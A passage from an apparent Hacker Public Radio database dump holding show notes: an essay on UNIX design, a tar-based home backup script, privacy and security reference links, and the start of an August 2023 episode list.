additionally:</p>\n<ul>\n<li>everything is a file or a process</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<h2 id=\"10000-ft-view\">10,000 Ft View</h2>\n<p>UNIX is a multiuser time sharing networked operating system, running as an always online service. A UNIX system is a single mainframe computer running an operating system designed for multiple users to access concurrently over the network, equally (depending on implementation) sharing resources amongst the active users.</p>\n<p>In a traditional network setup, there is one mainframe UNIX machine with multiple dumb terminals connected to it over the network. None of the users touch the mainframe physically. Instead, they interact with it exclusively through their own dumb terms. These dumb terminals have minimal or no computing power of their own because all of the actual computation takes place on the mainframe. Built in networking is a given.</p>\n<p>As for the actual software running on the mainframe, it\'s quite simple to visualize. A Unix system is a flexible but organized stack of concepts, each depending on the concept below, all working together for the sole purpose of enabling the end user to play video games and watch videos online.</p>\n<pre><code> / user applications \\\n / shells \\\n / daemons \\\n / file systems \\\n / kmods/drivers \\\n / syscalls \\\n / kernel \\\n/ hardware \\\n</code></pre>\n<p>In order to fully explain why UNIX is sublime, I will start from the bottom and work my way upward. Before I discuss the shell, I will explain the multiuser aspects of the system. Then, after a long arduous journey of verbosity, explain how to actually use the thing.</p>\n<h2 id=\"kernel\">Kernel</h2>\n<p>The kernel is something the user rarely interacts with. It abstracts all the hard parts away from the user. No more poking random memory addresses to load a program from tape.</p>\n<h3 id=\"multitasking\">Multitasking</h3>\n<p>In order to support multiple users, resource sharing was implemented. When a user\'s process requests CPU time, it\'s put into a rotational queue along with the other requests for CPU time. Round robin style concurrency is one of the easiest to implement but most modern systems use a weighted model that prioritizes processes owned by specific users. Memory and disk space are typically assigned hard limits to prevent system crashes. \"Ask your sysadmin if you need more resources.\"</p>\n<h3 id=\"virtual-memory\">Virtual Memory</h3>\n<p>Abstracting memory management from users is almost necessary in a multitasking system. The kernel must be the arbiter of all. The most interesting thing about virtual memory is that it doesn\'t actually need to be a RAM stick, but can be a swap partition on a disk or even a remote cloud provider if you\'ve actually lost your mind. This type of flexibility improves system stability. Instead of a kernel panic when memory runs out, the kernel can de-prioritize nonessential or idle processes by sending them to swap space.</p>\n<h3 id=\"paged-memory-logical-memory\">Paged Memory (logical memory)</h3>\n<p>No more fragmented memories! The kernel maintains a page table that maps logical locations to physical locations. Instead one continuous chunk of memory, the kernel divides memory into small sections called \"pages\". When allocating memory, the kernel might not give a process continuous pages. The advantage of a paged memory scheme further enables multiuser computing. Example: When you have a large program like a web browser open, the pages that contains the unfocused tabs can be swapped out to disk without stalling the entire browser.</p>\n<h3 id=\"programming-interface-pt-0-syscalls-kmods-drivers\">Programming Interface pt. 0 (syscalls, kmods, drivers)</h3>\n<p>When a process requests a resource, it sends a syscall to the kernel. The kernel then responds to the system call. This allows for privilege separation. Does your web browser need direct access to all memory? What about all files? Do we even want to write assembly every time we want to access a file? Syscalls are dual purpose: abstraction and security.</p>\n<p>Kernel modules are dynamic \"extensions\" that give the kernel new features (typically hardware support). The ability to dynamically load/unload modules as hardware changes increases uptime because it means a new kernel doesn\'t need to be compiled, installed, and booted into every time we plug in a different peripheral.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<h3 id=\"hierarchical-structure\">Hierarchical structure</h3>\n<p>A UNIX filesystem is hierarchical. Each directory contains files or other directories, each with a specific purpose. This type of organization makes it very easy to navigate and manage a system. Each child directory inherits ownership and permissions unless otherwise specified (see Access Control).</p>\n<p>In order to visualize this, I imagine a tree-like structure descending from the root directory, <code>/</code>. The <code>tree(1)</code> program shows this type of hierarchy.</p>\n<h3 id=\"virtual-filesystems-logical-filesystem\">Virtual Filesystems (logical filesystem)</h3>\n<p>The idea behind virtual filesystems is, again, abstraction. Using the concept of a virtual file system, multiple disks can be presented to the user and programmer as a single unified filesystem. This means mounted local disks, NFS shares, and even the contents of a CDROM are presented as if the files contained therein are \"just on the big hard drive\".</p>\n<p>Additionally, using bind mounts, a directory can be mounted onto another directory as if it were just another filesystem.</p>\n<p>The final interesting thing about virtual filesystems is the concept of a ramdisk: mounting a section of memory so that it can be used as if it was an ordinary directory. <strong>&lt;--Shoot foot here.</strong></p>\n<h3 id=\"everything-is-a-file\">Everything is a file</h3>\n<p>Well, almost everything is <em>presented</em> as if it were a file. This greatly simplifies programming.</p>\n<p>Prime example: <code>/dev/urandom</code> is a random entropy generator presented as a file, making it very simple for a programmer to implement seeded RNG in a program.</p>\n<p>Another example: The kernel translates mouse input into a data stream that can be opened as a file. The programmer only needs to read from <code>/dev/mouse0</code> instead of writing hundreds of mouse drivers for a clicky GUI.</p>\n<p>Exercise 1: Try running this command then wiggling your mouse:</p>\n<pre class=\"sh\"><code># Linux\n$ sudo cat /dev/input/mouse0\n\n# FreeBSD\n$ sudo cat /dev/sysmouse\n</code></pre>\n<p>Yet another example: the TTY is just a file. You can even print it to a text file using <code>setterm(1)</code> on Linux.</p>\n<p>Exercise 2:</p>\n<pre class=\"sh\"><code>[user@fedora ~]$ sudo setterm --dump 3\n[user@fedora ~]$ cat screen.dump\n\nFedora Linux 36 (Workstation Edition)\nKernel 5.18.5-200.fc36.x86_64 on an x86_64 (tty3)\n\nfedora login: root\nPassword:\nLast login: Sat Jul 30 14:34:20 on tty3\n[root@fedora ~]# /opt/pfetch/pfetch\n ,&#39;&#39;&#39;&#39;&#39;. root@fedora\n | ,. | os Fedora Linux 36 (Workstation Edition)\n | | &#39;_&#39; host XXXXXXXXXX ThinkPad T490\n ,....| |.. kernel 5.18.5-200.fc36.x86_64\n.&#39; ,_;| ..&#39; uptime 20d 22h 40m\n| | | | pkgs 3910\n| &#39;,_,&#39; | memory 6522M / 15521M\n &#39;. ,&#39;\n &#39;&#39;&#39;&#39;&#39;\n\n[root@fedora ~]#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[user@fedora ~]$\n</code></pre>\n<h3 id=\"links\">Links</h3>\n<p>Yet another way of \"mounting\" a file or directory to another file or directory is linking. There are two types of links: hard links and symbolic links.</p>\n<p>On UNIX, files are indexed by inodes (index nodes). Using links, we can make \"shortcuts\" to files.</p>\n<p>Hard linking adds a \"new index\" to a file. They share an inode. If the original file is removed, the file persists in storage because the secondary file created by a hard link still exists. Think \"different name, same file\"</p>\n<p>Symlinks are like pointers. A symlink points to the original file instead of the inode. If you remove the original file, the symlink breaks because it points to a file that points to an inode rather than simply pointing to an inode.</p>\n<p>Using links, we can make files more convenient to access as if we are \"copying\" files without actually copying files.</p>\n<h3 id=\"filename-extensions\">Filename extensions</h3>\n<p>On a UNIX system, file extensions are arbitrary. UNIX determines file type by reading the file headers. The file tells you exactly what type of file it is (just read it). The entire system does not break when a file extension doesn\'t match the expected contents of the file.</p>\n<p>Extensions only matter when you wilfully associate with the microsoft users leaving issues on your software repos. \"Not my OS, not my issue, it\'s open source so fork it if you don\'t like it\"</p>\n<h2 id=\"multiuser-timesharing\">Multiuser (timesharing)</h2>\n<p>See also: Multitasking.</p>\n<p>Exercise 3: attempt to use Windows like a multiuser operating system and get back to me when you have realized that any and all claims made by microsoft about how their \"multi user enterprise system\" is in any way capable of competing with a genuine multi-user UNIX system are false advertising.</p>\n<h3 id=\"users-groups\">Users, Groups</h3>\n<p>A multiuser system needs a way to manage users and categorize them for access control purposes. Every user has a single user account and belongs to 0 or more groups. Sorting users into groups at the time of account creation makes is significantly easier than granting/revoking permissions user-by-user. Additionally, using something like <code>rctl(8)</code> on FreeBSD allows a systems administrator to allocate resources to specific users, groups, or login classes (like groups).</p>\n<h3 id=\"daemons-services\">Daemons (services)</h3>\n<p>On a UNIX system, every process is owned by a user. In the case of a service, the process is owned by a daemon account. Daemon accounts have limited permissions and make it possible to run persistent services as a non-root user.</p>\n<h3 id=\"access-control\">Access Control</h3>\n<p>Since UNIX was designed to be a multiuser system, access control is required. We know about users, we know about groups, but what about permissions?</p>\n<p>There are three types of operations that can be done to a file: read, write, and execute. Who can the admin grant these permissions to? The Owner, the Group, and the Other (all). This type of access control is called discretionary access control because the owner of the file can modify files <em>at their own discretion</em>.</p>\n<h2 id=\"actually-using-the-thing\">Actually using the thing</h2>\n<h3 id=\"programming-interface-pt-1-data-streams\">Programming interface Pt. 1 (data streams)</h3>\n<p>All UNIX utilities worth using use 3 data streams:</p>\n<ul>\n<li>stdin\n<ul>\n<li>read from it the same way you read from a file</li>\n</ul></li>\n<li>stdout\n<ul>\n<li>print to it the same way you print to a terminal (file)</li>\n</ul></li>\n<li>stderr\n<ul>\n<li>print to it the same way print to a file, read from it the same way you read from a file</li>\n</ul></li>\n<li>env vars if you\'re a CGI programmer</li>\n</ul>\n<h3 id=\"shell\">Shell</h3>\n<p>The shell is how a user actually interacts with a UNIX system. It\'s a familiar interface that allows a human user to interact with a computer using real human language.</p>\n<p>Explicitly telling the computer to do is infinitely less agonizing than dealing with a computer that tries to do what it thinks you want it to do by interpreting input from a poorly designed, overly engineered interface.</p>\n<p>The shell, in addition to being an interactive interface, is also scriptable. Although math is a struggle, shell scripting is a fairly simple way of automating tasks. Taping together interoperable commands you already know makes everything easier. My favorite aspect about writing POSIX shell scripts is knowing that shell is a strongly, statically typed language where the only datatype is string.</p>\n<p>Problem that are difficult or messy to solve in shell usually mean it\'s time to write another small C program for your specific needs. Adding the new program into the shell pipeline is trivial.</p>\n<h4 id=\"pipes\">Pipes</h4>\n<p>Pipes, the concept that makes UNIX so scriptable. A shell utility that follows the UNIX philosophy will have a non-captive interface, write uncluttered data to stdout, read from stdin, and error to stderr. The <code>|</code> pipe character instructs programs to send their stdout to the next stdin in the pipeline instead of printing to the terminal.</p>\n<p>All standard command line utilities are interoperable and can be easily attached like building blocks. \"Meta programming\" has never been easier.</p>\n<p>Pipes make it so that every UNIX program is essentially a filter. Sure, you could just use awk, but I prefer shell.</p>\n<h1 id=\"bonus\">Bonus:</h1>\n<ul>\n<li>plaintext configuration files</li>\n<li>All logs are pretty much just a .csv</li>\n<li>OS vendor doesn\'t force you to upgrade to a newer version of spyware</li>\n<li>modular design means explorer.exe crashes don\'t take down your entire IT infrastructure</li>\n<li>Portable design means write once, run everywhere with minimal effort</li>\n</ul>\n<h1 id=\"summary\">Summary:</h1>\n<p>UNIX is a non-simple modular operating system designed for 1970s big iron mainframes but we love it too much to let it go. Compared to minimal hobbyist operating systems, UNIX is BIG. Compared to commercial operating systems, free UNIX is small. Maybe slightly more than minimum viable but the papercuts are mild enough to forgive.</p>\n<h1 id=\"see-also\">See Also:</h1>\n<p><a href=\"https://web.mit.edu/~simsong/www/ugh.pdf\">The UNIX-HATERS Handbook</a></p>\n',406,0,1,'CC-BY-SA','UNIX',0,0,1),
(3657,'2022-08-09','Small time sysadmin',1568,'How I maintain my Linux Box, Part One.','<ol>\n<li>Creating Backups.</li>\n</ol>\n<ul>\n<li><p>This script was trimmed to serve as an example.</p></li>\n<li><p>The three options shown (email, jop, dots) demonstrates, how to list items with case statements:</p>\n<ul>\n<li>Single item/directory (jop).</li>\n<li>Multiple items in single directory (dots).</li>\n<li>Multiple items in multiple directories (email).</li>\n</ul></li>\n<li><p>The text files created after the archive serves as an item list<br />\nwith current permissions.</p></li>\n<li><p><code>tar --directory= /path/to/directory/ --create --file INSERT_ARCHIVE_NAME.tar /path/to/file;</code></p></li>\n</ul>\n<pre><code>#!/bin/bash\n#License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: getoverhere.sh\n#Purpose:\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: Sat 29 Jan 2022 02:19:29 AM EST\n\n#variables:\nVAR_TBALL=\nVAR_TARGET=\nVAR_JUMP=\nVAR_VALUE=\n\n#start:\ncat &lt;&lt; &quot;EOT01&quot;\nOptions:\n email |&quot;${HOME}/.thunderbird/&quot;\n jop |&quot;${HOME}/Documents/joplin&quot;\n dots |&quot;${HOME}/.bashrc .vimrc .bash_aliases&quot;\nEOT01\n\necho -e &quot;What do you want to backup? : \\c.&quot;\nread VAR_VALUE\n\ncase ${VAR_VALUE} in\n &quot;email&quot; )\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.mail.yahoo.com/&quot;\n echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n sleep 1\n\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.gmail.com/&quot;\n echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n sleep 1\n\nVAR_TBALL=&quot;EMAIL_ARCHIVES$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;Mail/&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n echo -e &quot;Grabbing email EMAIL_ARCHIVES...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; EMAIL_ARCHIVES$(date +%m-%d-%Y).txt\n sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_CALENDER$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;calenders/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n echo -e &quot;Grabbing email THUNDERBIRD_CALENDER...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_CALENDER$(date +%m-%d-%Y).txt\n sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;address-book/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).txt\n sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ALL$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.thunderbird/&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ALL$(date +%m-%d-%Y).txt ;;\n\n &quot;jop&quot; )\nVAR_TBALL=&quot;JOPLIN$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;joplin/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n sleep 1\n echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; JOPLIN$(date +%m-%d-%Y).txt ;;\n\n &quot;dots&quot; )\nVAR_TBALL=&quot;dots$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.bashrc .vimrc .bash_aliases&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -v -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET} ;;\n\n * )\n echo &quot;Good Heavens...&quot; ;;\nesac\nexit;\n</code></pre>\n<hr />\n<ol start=\"2\">\n<li>Restoring from backups.</li>\n</ol>\n<ul>\n<li><code>tar --extract --directory= /path/to/directory/ --file /path/to/file;</code></li>\n<li>A <code>cp -v -t /path/to/directory *08-05-2022.tar.gz;</code> command is used to<br />\nsend the latest tarballs to the fresh install, from the backup drive.</li>\n<li>Now that you&#x2019;ve seen the script above, I&#x2019;ll just give a <code>tar --extract</code> example to keep things short and sweet.</li>\n</ul>\n<pre><code>VAR_TBALL=&quot;EMAIL_ARCHIVES*.tar.gz&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n echo -e &quot;Restoring EMAIL_ARCHIVES...\\n&quot;\ntar --extract --directory= ${VAR_JUMP} --file ${VAR_TBALL}\n echo -e &quot;EMAIL_ARCHIVES restored.\\n&quot;\n</code></pre>\n',391,0,0,'CC-BY-SA','sysadmin, system maintenance, tar, backups',0,0,1),
(3664,'2022-08-18','Secret hat conversations',1070,'You\'ll need your tin hat for this one.','<p><a href=\"https://en.wikipedia.org/wiki/Tin_foil_hat\">The Tin Foil Hat</a> often worn in the belief or hope that it shields the brain from threats such as electromagnetic fields, mind control, and mind reading.</p>\n<ol>\n<li><a href=\"https://www.youtube.com/watch?v=KD7zTSaiigg\">Proper hat construction video</a>. Also includes the &#x201C;why&#x201D; along with the &#x201C;how&#x201D;.</li>\n<li><a href=\"https://www.youtube.com/watch?v=p0mEuIvfFCA\">Proper hat construction music</a>. Just something to keep you focused.</li>\n</ol>\n<hr />\n<p><a href=\"https://www.fcc.gov/spoofing\">FCC Caller ID Spoofing info</a>: Spoofing is when a caller deliberately falsifies the information transmitted to your caller ID display to disguise their identity.</p>\n<p><a href=\"https://www.fcc.gov/call-blocking\">FCC Call Blocking info</a>: Call blocking is a tool used by phone companies to stop illegal and unwanted calls from reaching your phone. A second annual FCC report released in June 2021 found that many voice service providers and third-party analytics companies are improving their call blocking and labeling services and use new data to better detect robocalls. Billions of unwanted calls to American consumers are being blocked each year.</p>\n<p>The <a href=\"https://pine64.com/product/pinephone-pro-explorer-edition/\">PinePhone Pro Explorer Edition</a> is aimed at Linux developers with an extensive knowledge of embedded systems and/or experience with mobile Linux.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">Time-based one-time password</a> (TOTP) is a computer algorithm that generates a one-time password (OTP) that uses the current time as a source of uniqueness. As an extension of the HMAC-based one-time password algorithm (HOTP), it has been adopted as Internet Engineering Task Force (IETF) standard RFC 6238.</p>\n<p><a href=\"https://matrix.org/\">Matrix</a> is an open standard for interoperable, decentralised, real-time communication over IP.</p>\n<hr />\n<p><strong>Password Managers:</strong> <em>Used by Some Guy On The Internet.</em><br />\n<a href=\"https://bitwarden.com/\">Bitwarden</a><br />\n<a href=\"https://keepassxc.org/\">KeePassXC</a></p>\n<hr />\n',391,0,1,'CC-BY-SA','Tin hat, call spoofing',0,0,1),
(3936,'2023-09-04','HPR Community News for August 2023',3397,'HPR Volunteers talk about shows released and comments posted in August 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">3912</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">Emergency Show: Biltong and Rooibos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0250.html\" target=\"_blank\">Shane Shennan</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">3913</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">Lurking Prion Q and A</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">3914</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">how to deal with blisters</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">3915</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">Why the hell is my audio clipping?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0201.html\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">3916</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">HPR Community News for July 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">3917</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">Response to \"Permission Tickets\" by oneofspoons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">3918</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">Emacs package curation, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">3919</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">How I hacked my voice</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">3920</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">RV Trip 2022-2023: Southeast US</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">3921</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">3922</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">Silent Key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">3923</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">Meal preparation.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">3924</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">Mass Quick Tips for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">3925</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">Uncommon tools and social media</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">3926</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">Karate Do: An Overview</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">3927</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">Audacity Update 20230702</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">3928</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">RE: Klaatu.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">3929</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">Some experiences with different notes apps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0403.html\" target=\"_blank\">Lee</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">3930</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">Playing Civilization II Test of Time</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">3931</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">What Instrument was played in hpr3905?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">3932</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">Short introduction to inxi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" 